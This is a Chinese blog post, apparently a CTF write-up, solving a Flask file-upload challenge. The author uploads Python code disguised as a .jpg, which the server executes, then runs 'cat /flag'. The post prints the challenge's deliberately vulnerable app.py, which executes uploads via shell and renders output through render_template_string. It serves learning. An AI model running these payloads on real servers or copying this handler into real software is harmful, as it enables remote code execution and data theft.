Flask_FileUpload过关

系列文章目录

开始打好基础非常重要的



关于 Python 后缀名知识

总结:

  • .py : 通常编写的源代码的后缀
  • .py3 : Python3 脚本,不过也不常用
  • .pyc : 编译好的字节码,如果导入一个模块,python 将会生成一个 *.pyc 包含字节码的文件,以便再次导入他更容易,当然 .pyc 文件也可以使用 Easy Python Decompiler。 转换为 .py文件
  • .pyo : 这是在优化时创建的 *.pyc 文件,从 py3.5 开始,python 只适用 .pyc 而不是 .pyo
  • .pyd : 这基本是一个 windows DLL 文件
  • .pyi : MyPy 存根
  • .pyw : 使用 pythonw,exe 执行的 Windows 的 Python 脚本
  • .pyx : 将 Cython src 转换成 C/C++
  • .pyz : 这是一个包含标准Python脚本头之后的二进制形式的压缩 Python脚本(ZIP)的脚本
  • .py [cod]:.gitignore中的通配符表示该文件可能是.pyc,.pyo或.pyd。
  • .rpy:包含应用程序或框架特定功能的RPython脚本或Python脚本。
  • .pyde:处理使用的Python脚本。
  • .pyp:Py4D Python插件。
  • .pyt:Python声明文件。

提示:以下是本篇文章正文内容,下面案例可供参考

一、查看页面源代码

在这里插入图片描述
一般看到前端 js ,产生的第一个想法就是把 js 代码删除,万一没有后端验证呢
显然这道题没有显然这道题没有,修改请求中文件名字、MIME 类型都已经修改过了,没有用,但是源代码中提示到我们使用的是 python 代码,这时候我们可以使用 上传 python 代码的 jpg 文件

二、上传 Python 代码的文件

1.查看目录结构

上传一个 1.jpg 文件,内容如下

import os
print(os.system('ls ./'))

返回结果:
在这里插入图片描述

2.查看目录中的文件

查看 app.py

from flask import Flask, render_template, request, render_template_string
from werkzeug.utils import secure_filename
from subprocess import getoutput as shell
import os

// 在此出可看到一个 /flag 的名字
app = Flask(__name__) #在当前文件下创建应用
app.config['UPLOAD_FOLDER'] = 'upload/'  # app.config['UPLOAD_FOLDER']定义上传文件夹的路径
shell('echo $FLAG > /flag')  # 输出 flag

@app.route('/')
def upload_file():
    return render_template('index.html')


@app.route('/uploader', methods=['GET', 'POST'])
def uploader():
    if request.method == 'POST':
        abs_path = os.path.dirname(__file__)
        f = request.files['file']
        filename = f.filename
        if '.' in filename:
            prefix, suffix = filename.split('.')
            white_list = ['py3', 'jpg', 'png']
            if suffix in white_list:
                f.save(os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(f.filename)))
                try:
                    content = str(shell('python3 %s/upload/%s' % (abs_path, filename)))
                    if "%" in content:
                        content.replace('%', '')
                except Exception as e:
                    content = str(e)
                html = 'file uploaded successfully!<!-- %s -->' % str(content)
                return render_template_string(html)
            else:
                return "The file is not allowed to upload!"
        else:
            return "The file is not allowed to upload!"

    else:
        return "Method Not Allowed"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=True)0 

三、查看 flag

我们继续提交数据

import os
print(os.system('cat /flag'))

在这里插入图片描述
得到 flag

总结

借鉴的文章:
过关文章

  http://t.csdn.cn/yZuJx 	  
  http://t.csdn.cn/aEY4m

额外知识点:

Flask 框架
SHELL()函数

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值